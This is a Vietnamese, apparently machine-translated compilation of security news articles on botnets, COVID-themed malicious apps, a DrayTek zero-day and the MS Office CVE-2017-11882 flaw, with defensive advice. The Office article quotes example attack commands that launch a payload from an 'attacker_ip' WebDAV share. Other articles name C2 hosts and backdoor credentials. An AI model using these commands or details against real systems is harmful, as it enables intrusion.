Các nhà nghiên cứu Trung Quốc phá vỡ cuộc tấn công phần mềm độc hại đã lây nhiễm hàng ngàn PC

 

Công ty bảo mật Trung Quốc Qihoo 360 Netlab cho biết họ hợp tác với gã khổng lồ công nghệ Baidu để phá vỡ một mạng botnet phần mềm độc hại lây nhiễm qua hàng trăm ngàn hệ thống.

Mạng botnet được truy nguyên từ một nhóm mà nó gọi là ShuangQiang (còn gọi là Double Gun), đã đứng sau một số cuộc tấn công kể từ năm 2017 nhằm mục đích thỏa hiệp các máy tính Windows với bootkits MBR và VBR, và cài đặt trình điều khiển độc hại để thu lợi từ tài chính và chiếm quyền điều khiển lưu lượng truy cập web trang web thương mại.

 

Ngoài việc sử dụng hình ảnh được tải lên Yahoo Tieba để phân phối các tệp cấu hình và phần mềm độc hại – một kỹ thuật gọi là steganography – nhóm đã bắt đầu sử dụng lưu trữ trên nền tảng đám mây của Alibaba để lưu trữ các tệp cấu hình và nền tảng phân tích của Tongji để quản lý hoạt động của các máy chủ bị nhiễm của nó. .

Sự thỏa hiệp ban đầu phụ thuộc vào việc dụ dỗ người dùng không nghi ngờ cài đặt phần mềm khởi chạy trò chơi từ các cổng trò chơi sơ sài có chứa mã độc dưới vỏ bọc của một bản vá.

 

Khi người dùng tải xuống và cài đặt bản vá, nó sẽ truy cập vào thông tin cấu hình đã nói ở trên để tải xuống một chương trình riêng có tên “cs.dll” từ Baidu Tieba được lưu dưới dạng tệp hình ảnh.

Trong các giai đoạn tiếp theo, “cs.dll” không chỉ tạo ID bot và báo cáo lại cho máy chủ do kẻ tấn công kiểm soát mà còn tiêm một trình điều khiển thứ hai chiếm quyền điều khiển hệ thống (ví dụ: lassas.exe và svchost.exe) trong để tải xuống các tải trọng giai đoạn tiếp theo để thúc đẩy động cơ của nhóm.

 

Các nhà nghiên cứu của Qihoo cũng mô tả chi tiết chuỗi lây nhiễm thứ hai trong đó phần mềm máy khách trò chơi bị thay đổi với các thư viện độc hại (phiên bản sửa đổi của photobase.dll), sử dụng phương pháp gọi là DLL hack để phát hành và tải trình điều khiển độc hại trước khi tải mô-đun hợp pháp.

Công ty cho biết họ đã liên hệ với nhóm bảo mật của Yahoo vào ngày 14 tháng 5 và họ đã cùng nhau hành động để ngăn chặn sự lan rộng hơn nữa của botnet bằng cách chặn tất cả các tải xuống từ các URL liên quan.

“Trong quá trình hoạt động chung này, thông qua việc phân tích, chia sẻ và phản hồi thông tin về mối đe dọa, chúng tôi đã hình thành sự hiểu biết tốt hơn về các phương tiện kỹ thuật, logic và quy tắc của băng đảng Double Gun”, ông Baidu nói.

 

Các ứng dụng Android trong Cửa hàng Google Play Tận dụng sự bùng phát của coronavirus

 

Trước những lo ngại công khai, sự bùng phát coronavirus đang diễn ra đang chứng tỏ là cơ hội cho những kẻ tấn công thực hiện một loạt các cuộc tấn công phần mềm độc hại, các chiến dịch lừa đảo và tạo các trang web lừa đảo và các ứng dụng theo dõi độc hại.

Giờ đây, trong một bước ngoặt mới, các nhà phát triển ứng dụng Android của bên thứ ba cũng đã bắt đầu tận dụng tình huống này để sử dụng các từ khóa liên quan đến coronavirus trong tên ứng dụng, mô tả hoặc trong tên gói để loại bỏ phần mềm độc hại, duy trì hành vi trộm cắp tài chính và xếp hạng cao hơn trong các tìm kiếm trên Cửa hàng Google Play liên quan đến chủ đề.

“Hầu hết các ứng dụng độc hại được tìm thấy là các mối đe dọa bó từ phần mềm ransomware đến phần mềm độc hại gửi SMS và thậm chí phần mềm gián điệp được thiết kế để dọn sạch nội dung của thiết bị nạn nhân để lấy dữ liệu cá nhân hoặc tài chính”, các nhà nghiên cứu Bitdefender cho biết trong báo cáo phân tích từ xa được chia sẻ với The Hacker Tin tức.

 

Phát hiện của Bitdefender là phát hiện mới nhất trong một loạt các mối đe dọa kỹ thuật số đang cõng trên đại dịch coronavirus.

Sử dụng các từ khóa liên quan đến coronavirus để xếp hạng trong tìm kiếm trên cửa hàng trò chơi

 

Khi mọi người ngày càng tìm kiếm các ứng dụng cung cấp thông tin về COVID-19, các tác giả phần mềm độc hại đã lẻn vào phần mềm quảng cáo, trojan ngân hàng (ví dụ: Anubis, Cerberus, Joker) và kẻ đánh cắp thông tin dưới vỏ bọc của ứng dụng theo dõi trực tiếp và những người giúp xác định người dùng phổ biến triệu chứng của bệnh.

 

“Kể từ ngày 1 tháng 1 năm 2020, chúng tôi đã tìm thấy 579 ứng dụng có chứa các từ khóa liên quan đến coronavirus trong bảng kê khai của họ (tên gói, hoạt động, máy thu, v.v.)”, các nhà nghiên cứu quan sát.

“Điều này có nghĩa là một thành phần chính của ứng dụng được đặt tên theo cách – hoặc ứng dụng chứa các chuỗi – liên quan đến sự bùng phát gần đây. Trong tổng số, 560 sạch, 9 là Trojans và 10 là Rủi ro.”

Hơn nữa, một số ứng dụng như Bubble Shooter Merge và Galaxy Shooter – Falcon Squad thậm chí đã thay đổi tên và mô tả của họ để điều trị đại dịch coronavirus bằng cách bao gồm các từ khóa đảm bảo ứng dụng của họ xếp hạng cao hơn khi mọi người tìm kiếm coronavirus trong cửa hàng Google Play.

 

 

Điều này bất chấp chính sách nghiêm ngặt của Google đối với việc tận dụng các sự kiện nhạy cảm và các điều chỉnh của nó đối với kết quả tìm kiếm của Google Play để cố tình lọc các ứng dụng độc hại tiềm ẩn khi tìm kiếm các từ khóa như “corona” hoặc “coronavirus”.

COVID-19 Tấn công theo chủ đề Galore

 

Từ các cuộc tấn công mạng đến lừa đảo, từ email tống tiền đến các trang web độc hại, một danh sách dài các mối đe dọa kỹ thuật số đã tận dụng sự bùng phát của coronavirus trong những tuần gần đây. Rõ ràng là các cuộc tấn công này khai thác nỗi sợ coronavirus và sự thèm khát thông tin về sự bùng phát của mọi người.

• Hack bộ định tuyến – Một vụ hack được phát hiện gần đây đã nhắm mục tiêu các bộ định tuyến văn phòng nhỏ và gia đình để chuyển hướng người dùng đến các trang web độc hại đóng vai trò là tài nguyên thông tin COVID-19 trong nỗ lực cài đặt phần mềm độc hại “Oski” đánh cắp mật khẩu và thông tin xác thực tiền điện tử.
• Lừa đảo qua email và lừa đảo – Các email spam liên quan đến mối quan tâm về sức khỏe đã chiếm gần 2,5% tổng khối lượng thư rác, cho thấy các vụ lừa đảo qua email liên quan đến đại dịch đã tăng đều đặn chỉ trong tháng ba. Hơn nữa, ít nhất 42.578 tên miền “covid” hoặc “corona” đã được đăng ký mới kể từ đầu tháng, với hơn 2.500 tên miền mới được đăng ký trung bình mỗi ngày trong hai tuần qua.
• Spear Phishing tấn công – Những kẻ tấn công đã được tìm thấy tích cực lạm dụng tên và logo của nhiều công ty và tổ chức trong các chiến dịch tống tiền và lừa đảo, bao gồm Tổ chức Y tế Thế giới (WHO) và Trung tâm Kiểm soát Bệnh tật Hoa Kỳ (CDC) và gửi các tài liệu RTF được chế tạo đặc biệt trong một nỗ lực. để lừa đảo nạn nhân của họ để tải xuống kẻ đánh cắp thông tin, trojan truy cập từ xa (RAT), người thu hoạch thông tin.
• Tấn công Ransomware – Tội phạm mạng đằng sau ransomware Maze đã tấn công mạng CNTT của Hammersmith Thuốc nghiên cứu (HMR), một cơ sở y tế ở chế độ chờ để giúp thực hiện thử nghiệm bất kỳ vắc-xin coronavirus nào có thể, và công bố chi tiết cá nhân của hàng ngàn bệnh nhân cũ sau khi công ty từ chối trả tiền chuộc . Sự phát triển diễn ra sau khi nhóm tội phạm mạng đưa ra lời hứa công khai không tấn công các tổ chức nghiên cứu y tế trong đại dịch coronavirus.
• Ứng dụng giả – Đã có sự gia tăng các chiến dịch lừa đảo và các ứng dụng lừa đảo nhằm mục đích bán thuốc chữa bệnh coronavirus hoặc mặt nạ, hoặc yêu cầu đầu tư vào các công ty lừa đảo tuyên bố đang phát triển vắc-xin hoặc kêu gọi người dùng quyên góp cho các tổ chức từ thiện giả.
• Phần mềm độc hại ngân hàng và hack thẻ thanh toán – Các nhà điều hành của Trojan ngân hàng Ginp bắt đầu sử dụng thông tin về những người bị nhiễm coronavirus làm mồi nhử để dụ người dùng Android ở Tây Ban Nha cung cấp dữ liệu thẻ tín dụng.

Cách tự bảo vệ mình

 

Tất cả các cuộc tấn công này đã khiến Cơ quan An ninh Cơ sở hạ tầng và An ninh mạng Hoa Kỳ (CISA) đưa ra cảnh báo về sự gia tăng của các vụ lừa đảo có chủ đề coronavirus và Tổ chức Y tế Thế giới (WHO) đưa ra cảnh báo về các hành vi lừa đảo mạo danh tổ chức của họ.

Để bảo vệ khỏi các mối đe dọa như vậy, chúng tôi luôn khuyến nghị người dùng chỉ cài đặt ứng dụng từ các thị trường hợp pháp, chỉ tìm kiếm thông tin từ các nguồn chính thức và cảnh giác với bất kỳ email nào cố gắng để người nhận mở tệp đính kèm hoặc nhấp vào liên kết.

FBI cũng đã đưa ra một lời khuyên, kêu gọi người dùng coi chừng các email CDC giả và email lừa đảo yêu cầu người nhận xác minh thông tin cá nhân của họ –

“Những kẻ lừa đảo đang tận dụng đại dịch COVID-19 để đánh cắp tiền của bạn, thông tin cá nhân của bạn hoặc cả hai. Đừng để họ. Hãy tự bảo vệ và thực hiện nghiên cứu của bạn trước khi nhấp vào các liên kết có ý định cung cấp thông tin về virus, quyên góp cho tổ chức từ thiện trực tuyến hoặc thông qua phương tiện truyền thông xã hội, đóng góp cho chiến dịch gây quỹ, mua sản phẩm trực tuyến hoặc từ bỏ thông tin cá nhân của bạn để nhận tiền hoặc các lợi ích khác. ”

 

Một phần mềm độc hại IoT Botnet mới nổi được phát hiện trong tự nhiên

 

Các nhà nghiên cứu về an ninh mạng đã phát hiện ra một mối đe dọa mạng botnet IoT mới nổi, thúc đẩy các thiết bị thông minh bị xâm nhập để thực hiện các cuộc tấn công từ chối dịch vụ phân tán, có khả năng kích hoạt theo yêu cầu thông qua các nền tảng cung cấp dịch vụ cho thuê DDoS.

Botnet, được các nhà nghiên cứu của Bitdefender đặt tên là “dark_nexus”, hoạt động bằng cách sử dụng các cuộc tấn công nhồi thông tin xác thực vào nhiều loại thiết bị, chẳng hạn như bộ định tuyến (từ Dasan Zhone, Dlink và ASUS), máy quay video và máy ảnh nhiệt, để đồng chọn chúng vào mạng botnet.

Cho đến nay, dark_nexus bao gồm ít nhất 1.372 bot, hoạt động như một proxy ngược, trải dài trên nhiều địa điểm khác nhau ở Trung Quốc, Hàn Quốc, Thái Lan, Brazil và Nga.

 

“Mặc dù nó có thể chia sẻ một số tính năng với các botnet IoT đã biết trước đó, nhưng cách một số mô-đun của nó đã được phát triển làm cho nó mạnh hơn và mạnh hơn đáng kể”, các nhà nghiên cứu cho biết. “Ví dụ, tải trọng được biên dịch cho 12 kiến ​​trúc CPU khác nhau và được phân phối động dựa trên cấu hình của nạn nhân.”

Bằng chứng được thu thập bởi Bitdefender chỉ vào Hy Lạp.Helios với tư cách là cá nhân đứng sau sự phát triển của dark_nexus, một tác giả botnet nổi tiếng về việc bán các dịch vụ DDoS trên các nền tảng truyền thông xã hội và sử dụng kênh YouTube để quảng cáo các khả năng của nó.

Lấy cảm hứng từ các botnet nổi tiếng Qbot và Mirai

 

Ghi nhận sự tương đồng của dark_nexus với phần mềm độc hại ngân hàng Qbot và Mirai, các nhà nghiên cứu của Bitdefender cho biết các mô-đun cốt lõi của nó là “chủ yếu là bản gốc” và nó được cập nhật thường xuyên, với hơn 30 phiên bản được phát hành trong khoảng thời gian từ tháng 12 năm 2019 đến tháng 3 năm 2020 (phiên bản 4.0 đến 8.6).

 

Các nhà nghiên cứu cho biết: “Mã khởi động của bot tương tự như của Qbot: nó giả mạo nhiều lần, chặn một số tín hiệu và tự tách khỏi thiết bị đầu cuối”.

“Sau đó, theo mạch của Mirai, nó liên kết với một cổng cố định (7630), đảm bảo rằng một phiên bản duy nhất của bot này có thể chạy trên thiết bị. Bot cố gắng ngụy trang bằng cách đổi tên thành ‘/ bin / busybox. ‘ Một tính năng khác được mượn từ Mirai là vô hiệu hóa cơ quan giám sát bằng các cuộc gọi ioctl định kỳ trên thiết bị ảo. ”

Cơ sở hạ tầng bao gồm một số máy chủ chỉ huy và kiểm soát (C2) (tổng đài (.) Net: 30047 amd thiccnigga (.) Me: 30047), phát lệnh từ xa cho các bot bị nhiễm và các máy chủ báo cáo mà bot chia sẻ chi tiết về dịch vụ dễ bị tổn thương (ví dụ: các thiết bị được bảo vệ bởi mật khẩu mặc định).

Khi cuộc tấn công vũ phu thành công, bot đăng ký vào máy chủ C2 xác định kiến ​​trúc CPU của thiết bị để truyền tải trọng lây nhiễm tùy chỉnh qua Telnet, tải xuống nhị phân bot và các thành phần phần mềm độc hại khác từ máy chủ lưu trữ (tổng đài (.) Net: 80 ) và thực hiện chúng.

 

Ngoài ra, một số phiên bản của botnet (4.0 đến 5.3) đi kèm với tính năng proxy ngược cho phép nạn nhân hoạt động như một proxy cho máy chủ lưu trữ, từ đó hướng thiết bị bị nhiễm tải xuống và lưu trữ các tệp thực thi cần thiết cục bộ thay vì phải kết nối đến máy chủ lưu trữ trung tâm.

Đó không phải là tất cả. dark_nexus đi kèm với các lệnh kiên trì ngăn thiết bị khởi động lại bằng cách dừng dịch vụ cron và xóa đặc quyền đối với các dịch vụ có thể được sử dụng để khởi động lại thiết bị đang nói đến.

 

“Nó cũng sử dụng một kỹ thuật nhằm đảm bảo” quyền tối cao “trên thiết bị bị xâm nhập”, Bitdefender quan sát.

“Độc đáo, dark_nexus sử dụng hệ thống tính điểm dựa trên trọng số và ngưỡng để đánh giá quá trình nào có thể gây rủi ro. Điều này liên quan đến việc duy trì danh sách các quy trình được liệt kê trong danh sách trắng và PID của họ và tiêu diệt mọi quy trình khác vượt qua ngưỡng (lớn hơn hoặc bằng 100) nghi ngờ. ”

Thiết bị IoT của bạn đang được cho thuê

Botnet Mirai, kể từ khi được phát hiện vào năm 2016, đã được liên kết với một số cuộc tấn công DDoS quy mô lớn. Kể từ đó, nhiều biến thể của Mirai đã xuất hiện, một phần là do sự sẵn có của mã nguồn trên Internet.

Các tác giả Botnet, tương tự, đã tổ chức các cuộc tấn công vũ phu vào các trang web WordPress để chèn trojan ngân hàng Qbot và tải xuống phần mềm độc hại bổ sung.

Việc Dark_nexus được xây dựng trên nền tảng của Mirai và Qbot là bằng chứng cho các chiến thuật phát triển của các nhà khai thác botnet và các tin tặc thiếu kinh nghiệm, cho phép họ thêm chức năng mới bằng cách khai thác nhiều lỗ hổng trong các thiết bị IoT hiện đại được bảo mật kém.

Các nhà nghiên cứu của Bitdefender kết luận: “Sử dụng các video trên YouTube để giới thiệu một số công việc trong quá khứ của anh ấy và đăng các dịch vụ trên các diễn đàn mạng khác nhau, Hy Lạp. Có vẻ như đã có kinh nghiệm với các kỹ năng về phần mềm độc hại IoT, giúp họ phát triển botnet dark_nexus mới”.

Tin tặc khai thác lỗi không ngày trong các thiết bị Draytek để nhắm mục tiêu mạng doanh nghiệp

 

Các nhà nghiên cứu an ninh mạng với NetLab của Qihoo 360 hôm nay đã tiết lộ chi tiết về hai chiến dịch tấn công mạng sử dụng lỗ hổng chưa được phát hiện trong các thiết bị mạng cho doanh nghiệp do DrayTek có trụ sở tại Đài Loan sản xuất.

Theo báo cáo, ít nhất hai nhóm tin tặc khác nhau đã khai thác hai lỗ hổng thực thi lệnh từ xa (CVE-2020-8515) ảnh hưởng đến các bộ chuyển mạch doanh nghiệp, bộ cân bằng tải, bộ định tuyến và thiết bị cổng VPN của DrayTek để nghe lén lưu lượng mạng và cài đặt các cửa hậu.

Các cuộc tấn công zero-day bắt đầu ở đâu đó vào cuối tháng 11 năm ngoái hoặc đầu tháng 12 và có khả năng vẫn đang tiếp diễn chống lại hàng ngàn người bị phơi bày công khai Chuyển mạch DrayTekS, Sức mạnh 2960, 3900, 300B các thiết bị chưa được vá với các bản cập nhật firmware mới nhất được phát hành vào tháng trước.

 

Các lỗ hổng zero-day trong câu hỏi có thể được khai thác bởi bất kỳ kẻ tấn công từ xa trái phép nào để tiêm và thực thi các lệnh tùy ý trên hệ thống, cũng như chi tiết bởi một nhà nghiên cứu riêng biệt trên blog của mình.

 

“Hai điểm tiêm lệnh dễ bị tổn thương trong 0 ngày là keyPath và rtick, nằm trong /www/cgi-bin/mainfeft.cgi và chương trình Máy chủ Web tương ứng là / usr / sbin / lighttpd”, báo cáo viết.

 

Các nhà nghiên cứu NetLab chưa quy kết cả hai cuộc tấn công cho bất kỳ nhóm cụ thể nào, nhưng họ đã xác nhận rằng trong khi nhóm đầu tiên chỉ đơn giản là gián điệp lưu lượng mạng, nhóm tấn công thứ hai đã sử dụng lỗ hổng tiêm lệnh rtick để tạo:

• cửa sau phiên web không bao giờ hết hạn
• Cửa hậu SSH trên các cổng TCP 22335 và 32459,
• tài khoản backlink hệ thống với người dùng “wuwuhanhan” và mật khẩu “caonimuqin.”

 

Cần lưu ý, nếu bạn vừa mới cài đặt chương trình cơ sở đã vá hoặc cài đặt ngay bây giờ, nó sẽ không tự động xóa tài khoản cửa sau trong trường hợp bạn đã bị xâm phạm.

“Chúng tôi khuyên người dùng DrayTek Vigor kiểm tra và cập nhật chương trình cơ sở của họ kịp thời và kiểm tra xem có quá trình tcpdump, tài khoản backlink SSH, backlink Web, v.v. trên hệ thống của họ không.”

“Nếu bạn có quyền truy cập từ xa được bật trên bộ định tuyến của mình, hãy tắt nó nếu bạn không cần nó và sử dụng danh sách kiểm soát truy cập nếu có thể”, công ty gợi ý.

Danh sách các phiên bản phần mềm bị ảnh hưởng như sau:

• Vigor2960 <v1.5.1
• Vigor300B <v1.5.1
• Vigor3900 <v1.5.1
• VigorSwitch20P2121 <= v2.3.2
• VigorSwitch20G1280 <= v2.3.2
• VigorSwitch20P1280 <= v2.3.2
• VigorSwitch20G2280 <= v2.3.2
• VigorSwitch20P2280 <= v2.3.2

 

Các công ty và cá nhân bị ảnh hưởng rất khuyến khích cài đặt các bản cập nhật firmware mới nhất để bảo vệ hoàn toàn các mạng có giá trị của họ trước các phần mềm độc hại và các mối đe dọa trực tuyến mới nổi.

Lỗ hổng nghiêm trọng của MS Office cho phép hacker ngầm cài đặt phần mềm độc hại vào máy người dùng

Hãy cẩn thận khi mở các tệp trong Ms Office, đặc biệt là từ trên mạng.

Trong khi thế giới vẫn đang đối mặt với nguy cơ lỗ hổng bảo mật “built-in DDE featured” của Microsoft Office, các nhà nghiên cứu đã phát hiện ra một vấn đề nghiêm trọng trong một thành phần office khác, có thể cho phép kẻ tấn công cài đặt phần mềm độc hài từ xa lên máy tính nạn nhân.

Lỗ hổng này liên quan đến việc quản lý bộ nhớ, tồn tài trong tất cả các phiên bản Office từ office 2000 trở đi, bao gòm cả office 365, và hoạt động trên tất cả các hệ điều hành windows.

Lỗ hổng được đặt tên là CVE-2017-11882, Nằm trong EQNEDT32.EXE, một thành phần của MS Office chịu trách nhiệm chèn và chỉnh sửa các công thức toán học (đối tượng OLE) trong tài liệu. Tuy nhiên do hoạt động của bộ nhớ không đúng, các thành phần này không xử lý đúng đối  tượng trong bộ nhớ dẫn đến lỗi, do đó cho phép kẻ tấn công thực thi mã độc ngay trên máy nạn nhân mà nạn nhân không hề hay biết, ngay khi nạn nhẩn mở tài liệu độc hại.

 

Mười bảy năm về trước, EQNEDT32.EXE đã được giới thiệu trong Microsoft Office 2000 và đã được lưu giữ trong tất cả các phiên bản được phát hành sau khi Microsoft Office 2007 để đảm bảo phần mềm vẫn tương thích với các tài liệu của các phiên bản cũ hơn.

DEMO: Khai thác Cho phép chiếm quyền toàn hệ thống

Để khai thác lỗ hổng này, kẻ tấn công phải lừa được người dùng mở file office đã chỉnh sửa chèn mã độc hại.

Lỗ hổng này có thể bị khai thác để kiểm soát hoàn toàn một hệ thống khi kết hợp với cách khai thác chiếm quyền Windows Kernel (như CVE-2017-11847).

Một kịch bản khả dụng có thể xảy ra như sau:

Trong khi giải thích phạm vi của lỗ hổng, các nhà nghiên cứu của Embedi đề xuất một số kịch bản tấn công được liệt kê dưới đây:
“Bằng cách chèn một vài đối tượng OLE,  để khai khác lỗ hổng này, nó có thể thực hiện một chuỗi các lệnh tùy ý (ví dụ như tải một tập tin tùy ý từ Internet và thực hiện nó). ”
“Một trong những cách đơn giản nhất để thực thi mã tùy ý là khởi chạy một tệp thực thi từ máy chủ WebDAV do kẻ tấn công kiểm soát.”
Ví dụ: một kẻ tấn công có thể sử dụng lỗ hổng này để thực hiện các lệnh như cmd.exe / c start \\ attacker_ip \ ff. Lệnh này chỉ là 1 phần của kế hoạch tấn công, nhờ đó kết nối và kích hoạt mã độc khác . ”
“Sau đó, kẻ tấn công có thể chạy một tập tin thực thi từ máy chủ WebDAV bằng cách sử dụng lệnh \\ attacker_ip \ ff \ 1.exe Cơ chế bắt đầu của một tập tin thực thi tương tự như của \\ live.sysinternals.com \ tools service “.

Cách phòng tránh lỗ hổng.

Với bản sửa lỗi này, Microsoft đã giải quyết lỗ hổng này bằng cách thay đổi cách phần mềm bị ảnh hưởng xử lý bộ nhớ.

Do đó để phòng tránh, người dùng nên tải bản sửa lỗi bảo mật vào tháng 11 càng sớm càng tốt để giữ cho máy tính được an toàn trước tin tặc.

Vì thành phần này có một số vấn đề về bảo mật có thể dễ dàng bị khai thác, vô hiệu hóa nó có thể là cách tốt nhất để đảm bảo an ninh hệ thống của bạn.

Sửa lỗi ngay từ dòng lệnh Command Prompt:

Với bản 64bit:

reg add "HKLM\SOFTWARE\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

Với bản 32 bit:

reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\Common\COM Compatibility\{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

Bên cạnh đó, người dùng cũng nên kích hoạt tính năng Protected View (hộp cát Microsoft Office) để ngăn chặn việc thực hiện nội dung hoạt động (OLE / ActiveX / Macro).

Theo: The Hacker News: https://thehackernews.com/2017/11/microsoft-office-rce-exploit.html